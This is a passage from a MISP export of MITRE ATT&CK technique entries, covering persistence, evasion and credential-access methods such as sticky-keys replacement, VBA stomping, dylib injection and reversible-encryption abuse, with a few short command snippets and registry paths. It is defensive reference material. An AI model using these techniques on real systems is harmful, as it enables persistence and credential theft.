LC_LOAD_DYLIB Addition - T1546.006

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time.(Citation: Malware Persistence on OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006"*

Table 4322. Table References

Links
https://attack.mitre.org/techniques/T1546/006
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

VBA Stomping - T1564.007

Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero's, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)

The tag is: *misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007"*

Table 4323. Table References

Links
https://attack.mitre.org/techniques/T1564/007
https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239

https://github.com/bontchev/pcodedmp
https://github.com/decalage2/oletools
https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html

Accessibility Features - T1546.008

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

- On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
- Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
- Narrator: <code>C:\Windows\System32\Narrator.exe</code>
- Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>

- App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"*

Table 4324. Table References

Links
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
https://attack.mitre.org/techniques/T1546/008
https://capec.mitre.org/data/definitions/558.html
https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom

Web Services - T1584.006

Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1584.006"*

Table 4325. Table References

Links
https://attack.mitre.org/techniques/T1584/006
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.recordedfuture.com/turla-apt-infrastructure/

AppCert DLLs - T1546.009

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>,

<code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

The tag is: *misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"*

Table 4326. Table References

Links
https://attack.mitre.org/techniques/T1546/009
https://forum.sysinternals.com/appcertdlls_topic12546.html
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Resource Forking - T1564.009

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)

Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009"*

Table 4327. Table References

Links
http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553
https://attack.mitre.org/techniques/T1564/009
https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html

https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/
https://flylib.com/books/en/4.395.1.192/1/
https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/

LSASS Driver - T1547.008

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"*

Table 4328. Table References

Links
https://attack.mitre.org/techniques/T1547/008
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx

Shortcut Modification - T1547.009

Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009"*

Table 4329. Table References

Links
https://attack.mitre.org/techniques/T1547/009

https://capec.mitre.org/data/definitions/132.html
https://www.youtube.com/watch?v=nJ0UsyiUEqQ

Digital Certificates - T1588.004

Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)

After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004"*

Table 4330. Table References

Links
https://attack.mitre.org/techniques/T1588/004
https://letsencrypt.org/docs/faq/
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
https://www.recordedfuture.com/cobalt-strike-servers/
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Password Managers - T1555.005

Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)

Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005"*

Table 4331. Table References

Links
https://attack.mitre.org/techniques/T1555/005
https://github.com/GhostPack/KeeThief
https://nvd.nist.gov/vuln/detail/CVE-2019-3610
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf
https://www.ise.io/casestudies/password-manager-hacking/

Reversible Encryption - T1556.005

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation:

how_pwd_rev_enc_2)

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005"*

Table 4332. Table References

Links
http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html
http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html
https://adsecurity.org/?p=2053
https://attack.mitre.org/techniques/T1556/005
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption

Scan Databases - T1596.005

Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Scan Databases - T1596.005"*

Table 4333. Table References

Links
https://attack.mitre.org/techniques/T1596/005
https://shodan.io

Application Shimming - T1546.011

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code> and
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011"*

Table 4334. Table References

Links
http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
https://attack.mitre.org/techniques/T1546/011
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Plist Modification - T1547.011

Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011"*

View relationships graph

Plist Modification - T1547.011 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647" with estimative-language:likelihood-probability="almost-certain"

Table 4335. Table References

Links
https://attack.mitre.org/techniques/T1547/011
https://fileinfo.com/extension/plist
https://taomm.org/vol1/pdfs.html

Print Processors - T1547.012

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the

<code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code> Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the <code>GetPrintProcessorDirectory</code> API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012"*

Table 4336. Table References

Links
https://attack.mitre.org/techniques/T1547/012
https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

PowerShell Profile - T1546.013

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.

[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013"*

Table 4337. Table References

Links

http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://attack.mitre.org/techniques/T1546/013
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Active Setup - T1547.014

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014"*

Table 4338. Table References

Links
https://attack.mitre.org/techniques/T1547/014
https://citizenlab.ca/2015/12/packrat-report/
https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
https://helgeklein.com/blog/2010/04/active-setup-explained/
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html

Login Items - T1547.015

Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.

Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Login Items - T1547.015"*

Table 4339. Table References

Links
http://www.hexed.in/2019/07/osxdok-analysis.html
https://attack.mitre.org/techniques/T1547/015
https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/

https://developer.apple.com/documentation/coreservices/launch_services
https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
https://gist.github.com/kaloprominat/6111584
https://objective-see.com/blog/blog_0x25.html
https://objective-see.com/blog/blog_0x31.html
https://objective-see.com/blog/blog_0x44.html
https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Identify groups/roles - T1270

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"*

Table 4340. Table References

Links
https://attack.mitre.org/techniques/T1270

Proxy/protocol relays - T1304

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304).

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"*

Table 4341. Table References

Links
https://attack.mitre.org/techniques/T1304

Scheduled Task/Job - T1053

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053"*

Table 4342. Table References

Links
https://attack.mitre.org/techniques/T1053
https://capec.mitre.org/data/definitions/557.html
https://technet.microsoft.com/en-us/library/cc785125.aspx
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

Scheduled Task/Job - T1603

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.

On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)

On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603"*

Table 4343. Table References

Links
https://attack.mitre.org/techniques/T1603
https://developer.android.com/topic/libraries/architecture/workmanager
https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler

Develop KITs/KIQs - T1227

